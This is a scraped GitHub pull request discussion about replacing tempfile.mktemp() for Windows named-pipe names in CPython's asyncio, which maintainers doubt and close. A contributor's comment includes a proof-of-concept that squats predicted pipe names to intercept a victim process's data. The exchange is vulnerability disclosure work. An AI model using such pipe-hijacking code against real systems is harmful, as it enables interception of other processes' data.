Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

gh-137335: Remove use ofmktemp() inasyncio.windows_utils#137333

Closed
lighting9999 wants to merge 8 commits intopython:mainfrom
lighting9999:path-1
Closed

gh-137335: Remove use ofmktemp() inasyncio.windows_utils#137333
lighting9999 wants to merge 8 commits intopython:mainfrom
lighting9999:path-1

Conversation

@lighting9999
Copy link

@lighting9999lighting9999 commentedAug 3, 2025
edited by bedevere-appbot
Loading

matemp() function is unsafe,so I use safety function.
bandit tool:

Issue: [B306:blacklist] Use of insecure and deprecated function (mktemp).
Severity: Medium Confidence: High
CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
More Info:https://bandit.readthedocs.io/en/1.8.6/blacklists/blacklist_calls.html#b306-mktemp-q
Location: C:\Users\Administrator\Desktop\cpython\lib\asyncio\windows_utils.py:34:14
33 """Like os.pipe() but with overlapped support and using handles not fds."""
34 address = tempfile.mktemp(
35 prefix=r'\.\pipe\python-pipe-{:d}-{:d}-'.format(
36 os.getpid(), next(_mmap_counter)))
37

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@StanFromIreland
Copy link
Member

Hello, thanks for your contribution. Yes,tempfile.mktemp has been deprecated since 2.3 due such security issues. This has however broken our test suite. There are also still quite a few usages in the stdlib. Please first create an issue.

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@lighting9999
Copy link
Author

Hello, thanks for your contribution. Yes,tempfile.mktemp has been deprecated since 2.3 due such security issues. This has however broken our test suite. There are also still quite a few usages in the stdlib. Please first create an issue.

@StanFromIreland I create issue at#137335, welcome to change!

@lighting9999lighting9999 changed the titleDeprecate mktemp() to use a safer function.gh-137335:Deprecate mktemp() to use a safer function.Aug 3, 2025
Copy link
Member

@picnixzpicnixz left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

The title is wrong. This doesn't deprecate mktemp() and the fix does not take into account the temporary directory anymore which is wrong (now the address file will be directly in\\.pipe\... instead of the temporary directory described by the user). Please usetempfile.mkstemp instead.

@bedevere-app
Copy link

A Python core developer has requested some changes be made to your pull request before we can consider merging it. If you could please address their requests along with any other requests in other reviews from core developers that would be appreciated.

Once you have made the requested changes, please leave a comment on this pull request containing the phraseI have made the requested changes; please review again. I will then notify any core developers who have left a review that you're ready for them to take another look at this pull request.

@picnixz
Copy link
Member

picnixz commentedAug 3, 2025
edited
Loading

I'm tagging this as DO-NOT-MERGE until we prove that there are indeed real possible issues here. I honestly don't think there are possible issues in practice as we are using a custom prefix here, and if someone beats us in creating the file, then ... that's not an issue IMO since that means it must be crafted internally or intentionally as we are also using the process ID to reduce collisions. In the first case, that's an issue to solve on our side but I can't find something similar. In the second case, we would just use that bad file but the files are opened in generic read/write mode (read-only if not duplex). I'm not an expert in the Windows API though so I'd like concrete evidence of a possible security issue here.

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@lighting9999
Copy link
Author

I wrote a POC and found out that it had the possibility of denial of service.

import osimport sysimport timeimport _winapiimport threadingimport itertoolsimport tempfileimport uuid# Windows API constant definitionsPIPE_ACCESS_DUPLEX = 0x00000003FILE_FLAG_OVERLAPPED = 0x40000000FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000PIPE_TYPE_BYTE = 0x00000000PIPE_READMODE_BYTE = 0x00000000PIPE_WAIT = 0x00000000PIPE_REJECT_REMOTE_CLIENTS = 0x00000008NMPWAIT_WAIT_FOREVER = 0xFFFFFFFFOPEN_EXISTING = 3GENERIC_READ = 0x80000000GENERIC_WRITE = 0x40000000FILE_ATTRIBUTE_NORMAL = 0x80NULL = 0def vulnerable_pipe_creation():    """Simulates the insecure pipe creation method in the original code"""    _mmap_counter = itertools.count()    # Pipe name generation from original implementation    address = tempfile.mktemp(        prefix=r'\\.\pipe\python-pipe-{:d}-{:d}-'.format(            os.getpid(), next(_mmap_counter)))        print(f"[VICTIM] Attempting to create pipe: {address}")        # Create pipe    try:        # Create named pipe        h1 = _winapi.CreateNamedPipe(            address,             PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)                print(f"[VICTIM] Pipe created successfully! Waiting for connection...")                # Create client handle        h2 = _winapi.CreateFile(            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,            FILE_ATTRIBUTE_NORMAL, NULL)                # Wait for connection        _winapi.ConnectNamedPipe(h1, NULL)        print(f"[VICTIM] Connection established! Writing data...")                # Write data        data = b"Sensitive data: user credentials"        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)        print(f"[VICTIM] Data written to pipe: {written} bytes")                # Cleanup        _winapi.CloseHandle(h1)        _winapi.CloseHandle(h2)            except OSError as e:        print(f"[VICTIM] Pipe operation failed: {e}")def attacker_thread(pid):    """Attacker thread - attempts to hijack target pipe"""    print(f"[ATTACKER] Starting attacker thread, target PID: {pid}")        # Attempt to predict pipe name    base_name = r'\\.\pipe\python-pipe-{:d}-0-'.format(pid)         # Try multiple possible random suffixes    for _ in range(1000):          # Generate 6 random characters (simulating tempfile.mktemp behavior)        random_bytes = os.urandom(6)        random_suffix = ''.join(chr(ord('a') + (b % 26)) for b in random_bytes)        pipe_name = base_name + random_suffix                try:            # Attempt to create pipe (get there first)            h_pipe = _winapi.CreateNamedPipe(                pipe_name,                PIPE_ACCESS_DUPLEX,                PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,                1, 8192, 8192, 0, NULL)                        # Successfully created pipe - means we beat the target            print(f"[ATTACKER] Successfully created pipe: {pipe_name}! Waiting for victim connection...")                        # Wait for victim to connect            _winapi.ConnectNamedPipe(h_pipe, NULL)            print(f"[ATTACKER] Victim has connected! Reading data...")                        # Read data sent by victim            data, bytes_read, _ = _winapi.ReadFile(h_pipe, 4096, NULL)            print(f"[ATTACKER] Successfully intercepted data: {data[:bytes_read].decode()}")                        # Keep pipe open to prevent normal victim usage            input("[ATTACKER] Press Enter to close pipe and exit...")            _winapi.CloseHandle(h_pipe)            return                    except OSError as e:            # Pipe already exists or other error - keep trying            if e.winerror not in (183, 231):  # ERROR_ALREADY_EXISTS, ERROR_PIPE_BUSY                print(f"[ATTACKER] Error (winerror={e.winerror}): {e}")            time.sleep(0.01)  # Shorter wait time        print("[ATTACKER] Failed to hijack any pipe")def fixed_pipe_creation():    """Fixed pipe creation method - using UUID"""    # Secure implementation    address = r'\\.\pipe\python-pipe-{:d}-{:s}'.format(        os.getpid(), uuid.uuid4().hex)        print(f"[SECURE] Attempting to create pipe: {address}")        try:        # Create named pipe        h1 = _winapi.CreateNamedPipe(            address,             PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE,            PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,            1, 8192, 8192, NMPWAIT_WAIT_FOREVER, NULL)                print(f"[SECURE] Pipe created successfully! Waiting for connection...")                # Create client handle        h2 = _winapi.CreateFile(            address, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,            FILE_ATTRIBUTE_NORMAL, NULL)                # Wait for connection        _winapi.ConnectNamedPipe(h1, NULL)        print(f"[SECURE] Connection established! Writing data...")                # Write data        data = b"This is secure data"        written, _ = _winapi.WriteFile(h1, data, len(data), NULL)        print(f"[SECURE] Data written securely: {written} bytes")                # Cleanup        _winapi.CloseHandle(h1)        _winapi.CloseHandle(h2)            except OSError as e:        print(f"[SECURE] Pipe operation failed: {e}")def main():    print("Named Pipe Security Vulnerability Proof of Concept")    print("=" * 50)        if len(sys.argv) < 2:        print("Please select a mode:")        print("1. Demonstrate vulnerability (victim + attacker)")        print("2. Demonstrate securely fixed implementation")        choice = input("Enter selection (1 or 2): ")    else:        choice = sys.argv[1]        if choice == "1":        print("\n=== Vulnerability Demonstration Mode ===")        print("Two threads will be started:")        print("1. Victim thread - attempts to create named pipe and write sensitive data")        print("2. Attacker thread - attempts to hijack the victim's pipe\n")                # Start attacker thread        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))        attacker.daemon = True        attacker.start()                # Give attacker a moment to start        time.sleep(0.5)                # Start victim        vulnerable_pipe_creation()                # Wait for attacker to finish        attacker.join(timeout=5)            elif choice == "2":        print("\n=== Secure Fix Demonstration Mode ===")        print("Using UUID to generate random pipe names, preventing prediction")                # Attempt to start attacker (should fail)        attacker = threading.Thread(target=attacker_thread, args=(os.getpid(),))        attacker.daemon = True        attacker.start()                time.sleep(0.5)                # Create pipe using secure method        fixed_pipe_creation()                # Wait for attacker to finish (should fail)        attacker.join(timeout=2)        print("[SECURE] Attacker failed to hijack the pipe")        print("\nDemonstration complete")if __name__ == "__main__":    main()

@StanFromIreland
Copy link
Member

Please do not use theUpdate Branch button unless necessary (e.g. fixing conflicts, jogging the CI, or very old PRs) as it uses valuable resources. For more information see thedevguide.

@lighting9999
Copy link
Author

Please do not use theUpdate Branch button unless necessary (e.g. fixing conflicts, jogging the CI, or very old PRs) as it uses valuable resources. For more information see thedevguide.

ok

@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

Copy link
Member

@picnixzpicnixz left a comment
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

The title hasn't been changed, and there is still a similar construction in multiprocessing.utils. The NEWS entry is still missing.

StanFromIreland and lighting9999 reacted with thumbs up emoji
@AA-TurnerAA-Turner changed the titlegh-137335:Deprecate mktemp() to use a safer function.gh-137335: Remove use ofmktemp() inasyncio.windows_utilsAug 3, 2025
@bedevere-app
Copy link

Most changes to Pythonrequire a NEWS entry. Add one using theblurb_it web app or theblurb command-line tool.

If this change has little impact on Python users, wait for a maintainer to apply theskip news label instead.

@lighting9999
Copy link
Author

The title hasn't been changed, and there is still a similar construction in multiprocessing.utils. The NEWS entry is still missing.

multiprocessing.utils exists in that module or in that file?

@StanFromIreland
Copy link
Member

StanFromIreland commentedAug 4, 2025
edited
Loading

It is inLib/multiprocessing/util.py

@lighting9999
Copy link
Author

ok

@picnixz
Copy link
Member

Sorry, I actually meantarbitrary_address inmultiprocessing.connection, notmultiprocessing.util.

@lighting9999
Copy link
Author

Sorry, I actually meantarbitrary_address inmultiprocessing.connection, notmultiprocessing.util.

oh.......

@picnixz
Copy link
Member

However, as we said on the issue, the problem might be fundamentally different so Serhiy is taking over the issue.

@picnixzpicnixz closed thisAug 5, 2025
@lighting9999lighting9999 deleted the path-1 branchAugust 5, 2025 07:54
Sign up for freeto join this conversation on GitHub. Already have an account?Sign in to comment

Reviewers

@picnixzpicnixzpicnixz requested changes

@1st11st1Awaiting requested review from 1st11st1 is a code owner

@asvetlovasvetlovAwaiting requested review from asvetlovasvetlov is a code owner

@kumaraditya303kumaraditya303Awaiting requested review from kumaraditya303kumaraditya303 is a code owner

@willingcwillingcAwaiting requested review from willingcwillingc is a code owner

Assignees

No one assigned

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

3 participants

@lighting9999@StanFromIreland@picnixz

[8]ページ先頭

©2009-2026 Movatter.jp